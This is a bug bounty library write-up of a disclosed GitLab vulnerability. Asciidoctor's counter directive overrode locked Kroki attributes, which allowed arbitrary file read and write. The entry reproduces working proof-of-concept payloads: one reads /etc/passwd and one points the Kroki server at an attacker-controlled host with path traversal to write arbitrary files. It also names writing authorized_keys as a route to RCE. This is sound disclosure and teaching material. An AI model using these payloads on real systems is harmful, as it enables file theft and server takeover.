# Kroki Arbitrary File Read/Write 

Asciidoctor counter directive bypassed GitLab's locked kroki attributes, enabling arbitrary file read via kroki-plantuml-include and arbitrary file write via kroki-fetch-diagram.

- Payout: $5,600
- Severity: high
- Program: GitLab
- Found by (vendor credit): ledz1996
- Found by: ledz1996
- Disclosed: 2021-05-21
- CVE: CVE-2021-22203
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/1098793
- Library page: https://bugbountylibrary.com/r/h1%3A1098793
- Tags: area:web domain:web impact:data-leak impact:rce kind:bounty platform:hackerone sev:high tech:ruby technique:incomplete-fix technique:source-review vuln:access-control vuln:path-traversal

**Target:** GitLab AsciiDoc wiki rendering with Kroki integration (asciidoctor-kroki gem)
**Root cause:** Asciidoctor's counter directive writes directly to @attributes without checking attribute_locked?, so document content can override attributes GitLab locked (kroki-plantuml-include, kroki-fetch-diagram, kroki-server-url). asciidoctor-kroki then File.read's the include path and File.write's to a path derived from attacker-controlled format/server URL.
**Steps:**
1. Enable Kroki integration on GitLab instance.
2. Create project wiki page in asciidoctor format.
3. File read: `[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]` with a diagram body referencing `{counter:kroki-plantuml-include}`.
4. Render page, extract base64 part of image URL, decode with `Zlib::Inflate.inflate(Base64.urlsafe_decode64(...))` to get /etc/passwd.
5. File write: host attacker HTTP server returning chosen content for any request.
6. Compute `diag-#{Digest::SHA256.hexdigest diagram_url}` for URL `http://host/plantuml/../../../../../../tmp/test_file_write.txt/<base64-zlib-diagram>`.
7. First render with `:imagesdir: diag-<sha>.` and `:outdir: /tmp/` plus `[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://host/}", format="/../../../../../../tmp/test_file_write.txt"]` to create the directory.
8. Second render with `:imagesdir: .` to let File.write succeed and write arbitrary content to target path.
**How found:** Researcher studied github-markup parsers, noted asciidoctor locks attributes via @attribute_overrides, then read Document#counter and saw it assigns @attributes[name] directly without attribute_locked? check, allowing arbitrary attribute override; then read asciidoctor-kroki source to find File.read on kroki-plantuml-include and File.write on kroki-fetch-diagram paths.
**Exploitation:** Attacker with wiki edit rights sets locked kroki attributes via counter, points kroki-server-url at attacker server, and uses path traversal in format plus a pre-created diag-<sha> directory to make asciidoctor-kroki write attacker-supplied bytes to any writable path (e.g. authorized_keys for RCE); file read leaks local files into the diagram URL.
**Escalation:** Arbitrary file write to e.g. ~/.ssh/authorized_keys yields RCE on the GitLab host; file read leaks secrets/config.
**Insight:** When a framework 'locks' config attributes, look for alternate code paths (counters, substitutions, includes) that write to the same attribute store bypassing the lock check; then trace every consumer of those attributes for File/network sinks.

## Proof of concept (copied exactly from the original report)

**Asciidoctor payload reading /etc/passwd via kroki-plantuml-include**

```
[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
```

**Ruby script decoding base64/zlib to reveal file contents**

```
require 'base64'
require 'zlib'


test = "eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ=="
p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))
```

**Payload writing arbitrary file via kroki-fetch-diagram and kroki-server-url**

```
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/

[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
```

